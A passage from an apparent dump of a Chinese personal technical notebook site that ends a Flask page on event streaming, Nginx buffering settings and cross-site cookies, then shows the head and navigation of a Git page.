class=\"w\"> </span><span class=\"n\">#结束的时候会触发GeneratorExit异常</span>\n<span class=\"w\">    </span><span class=\"ow\">except</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">pass</span>\n<span class=\"w\">    </span><span class=\"n\">关闭连接</span><span class=\"p\">()</span>\n\n<span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/stream&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">stream</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">consumer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">queue_consumer</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Response</span><span class=\"p\">(</span><span class=\"n\">stream_with_context</span><span class=\"p\">(</span><span class=\"n\">consumer</span><span class=\"p\">),</span><span class=\"w\"> </span><span class=\"n\">mimetype</span><span class=\"o\">=</span><span class=\"ss\">&quot;text/event-stream&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">onclose</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">consumer</span><span class=\"p\">.</span><span class=\"k\">close</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"p\">.</span><span class=\"n\">call_on_close</span><span class=\"p\">(</span><span class=\"n\">onclose</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"p\">.</span><span class=\"n\">headers</span><span class=\"o\">[</span><span class=\"n\">&quot;X-Accel-Buffering&quot;</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"ss\">&quot;no&quot;</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"p\">.</span><span class=\"n\">headers</span><span class=\"o\">[</span><span class=\"n\">&quot;Cache-Control&quot;</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"ss\">&quot;no-cache&quot;</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">res</span>\n</code></pre></div>\n\n<p>这些Nginx配置你也可能需要加上：尤其是还有下一层反代的时候</p>\n<div class=\"codehilite\"><pre><span></span><code>uwsgi_pass_header &quot;X-Accel-Buffering&quot;;\nuwsgi_read_timeout 120s;\nuwsgi_send_timeout 120s;\n\nproxy_http_version 1.1;\nproxy_set_header Connection &quot;&quot;;\nproxy_pass_header &quot;X-Accel-Buffering&quot;;\n</code></pre></div>\n\n<hr />\n<h2 id=\"flaskcookie\">Flask跨域Cookie<a class=\"headerlink\" href=\"#flaskcookie\" title=\"Permanent link\">&para;</a></h2>\n<p>当我们的网站能被跨域访问的时候，要注意cookie的设置，加上<code>SameSite=None; Secure</code></p>\n<p>参考:</p>\n<ul>\n<li>https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response</li>\n<li>https://github.com/pallets/werkzeug/issues/1549</li>\n<li>https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set</li>\n</ul>\n<div class=\"codehilite\"><pre><span></span><code>resp.set_cookie(&#39;cross-site-cookie&#39;, &#39;bar&#39;, samesite=&#39;None&#39;, secure=True)\nresp.headers.add(&#39;Set-Cookie&#39;,&#39;cross-site-cookie=bar; SameSite=None; Secure&#39;)\n</code></pre></div>\n\n<p>Flask的session cookie也要跨域的话：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">session</span>\n<span class=\"kn\">from</span> <span class=\"nn\">flask.sessions</span> <span class=\"kn\">import</span> <span class=\"n\">SecureCookieSessionInterface</span>\n\n<span class=\"n\">session_cookie</span> <span class=\"o\">=</span> <span class=\"n\">SecureCookieSessionInterface</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">get_signing_serializer</span><span class=\"p\">(</span><span class=\"n\">app</span><span class=\"p\">)</span>\n<span class=\"nd\">@app</span><span class=\"o\">.</span><span class=\"n\">after_request</span>\n<span class=\"k\">def</span> <span class=\"nf\">cookies</span><span class=\"p\">(</span><span class=\"n\">response</span><span class=\"p\">):</span>\n    <span class=\"n\">same_cookie</span> <span class=\"o\">=</span> <span class=\"n\">session_cookie</span><span class=\"o\">.</span><span class=\"n\">dumps</span><span class=\"p\">(</span><span class=\"nb\">dict</span><span class=\"p\">(</span><span class=\"n\">session</span><span class=\"p\">))</span>\n    <span class=\"n\">response</span><span class=\"o\">.</span><span class=\"n\">headers</span><span class=\"o\">.</span><span class=\"n\">add</span><span class=\"p\">(</span><span class=\"s2\">&quot;Set-Cookie&quot;</span><span class=\"p\">,</span> <span class=\"sa\">f</span><span class=\"s2\">&quot;session=</span><span class=\"si\">{</span><span class=\"n\">same_cookie</span><span class=\"si\">}</span><span class=\"s2\">; Secure; HttpOnly; SameSite=None; Path=/;&quot;</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">response</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Git/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../ETH/\">\n      \n      \n        <link rel=\"next\" href=\"../Jekyll/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Git - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#git\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Git\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Git\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Git\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    立即使用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-clone\" class=\"md-nav__link\">\n    加速git clone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-push\" class=\"md-nav__link\">\n    git push加速\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git-push_1\" class=\"md-nav__link\">\n    git push免密码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    bash别名设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bashdirty\" class=\"md-nav__link\">\n    设置bash中的自动完成与dirty提示\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    好玩的命令们\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"好玩的命令们\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-status\" class=\"md-nav__link\">\n    git status\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset\" class=\"md-nav__link\">\n    git reset\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-checkout\" class=\"md-nav__link\">\n    git checkout\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset-soft\" class=\"md-nav__link\">\n    git reset --soft \n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#git-reset-hard\" class=\"md-nav__link\">\n    恢复git reset --hard删除的文件\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    你可能会问的一些问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git_1\" class=\"md-nav__link\">\n    Git各种情景\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Git各种情景\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#aliba\" class=\"md-nav__link\">\n    忽略*.a文件但不想忽略lib.a\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#commit\" class=\"md-nav__link\">\n    commit补上忘掉的文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    查出此行代码的最后修改者\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#commit_1\" class=\"md-nav__link\">\n    文件一次性改太多了，拆成多次commit\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" 